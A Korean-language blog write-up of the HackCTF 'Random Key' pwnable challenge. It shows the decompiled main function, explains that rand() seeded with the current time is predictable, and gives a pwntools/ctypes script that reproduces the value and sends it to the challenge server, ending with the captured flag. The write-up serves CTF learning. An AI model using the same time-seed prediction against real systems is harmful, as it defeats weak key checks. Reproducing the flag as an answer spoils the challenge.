WriteUp/HackCTF

Pwnable : Random Key

vared 2020. 8. 22. 20:55

프로그램을 실행해 보았다.

 

이런 값이 나오네.

gdb 돌려보자.

 

ㅇㅋ NX 걸려있다. 스택 실행권한 없다.

 

이제 어떤 함수가 있는지 보자.

 

main문만 보면 될것 같다.

볼까

 

 

랜덤함수가 눈에 들어온다.

아마도 rand 값이랑 일치하는 값을 찾아줘야 같다.

 

IDA 한번 볼까?

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // [rsp+0h] [rbp-10h]
  int v5; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  v4 = 0;
  v3 = time(0LL);
  srand(v3);
  v5 = rand();
  puts("============================");
  puts(asc_400948);
  puts("============================");
  printf("Input Key : ");
  __isoc99_scanf("%d", &v4);
  if ( v5 == v4 )
  {
    puts("Correct!");
    system("cat /home/random/flag");
    exit(0);
  }
  puts("Nah...");
  exit(0);
}

오케이 정확히 맞았다.

이제 해야하는지 알았으니, random 값을 어떻게 가져올지를 고민해보자.

 

seed값이 주어지지않는다면 or seed 값이 노출된다면 rand값은 진짜로 랜덤은 아니다. PRNG 이다.

일단 보이는 유일한 취약점은 scanf 이다.

 

random 함수의 취약점은 진짜 랜덤이 아니라는 점이다. 그렇다면 random 자체로 실행해서 출력해줄 있다면 v5 값을 알아낼 있을 것이다.

 

RTL 사용해주면 되려나…?

일단 열심히 검색하다가 보니, 파이썬으로도 OS상의 시간값을 가져올 있다고 한다.

 

그러면 굳이 내부에서 실행한 값을 leak 해오지 않더라도 값을 구할 있다.

seed 값을 알고, 해당 libc 상의 random 동일하게 구동된다면 말이다.

 

이걸 해주는 모듈이 ctypes .

오늘 처음 알았는데 많이 배워간다.

 

한번 해봤다.

from pwn import *
from ctypes import *

lib = CDLL('libc.so.6')
lib.srand(lib.time("\0"))

rand = lib.rand()

p=remote("ctf.j0n9hyun.xyz",3014)

p.recvuntil("Input Key : ")

print("rand is : "+str(rand))
p.sendline(str(rand))

p.interactive()

 

 

HackCTF{5087686686858549173307745189}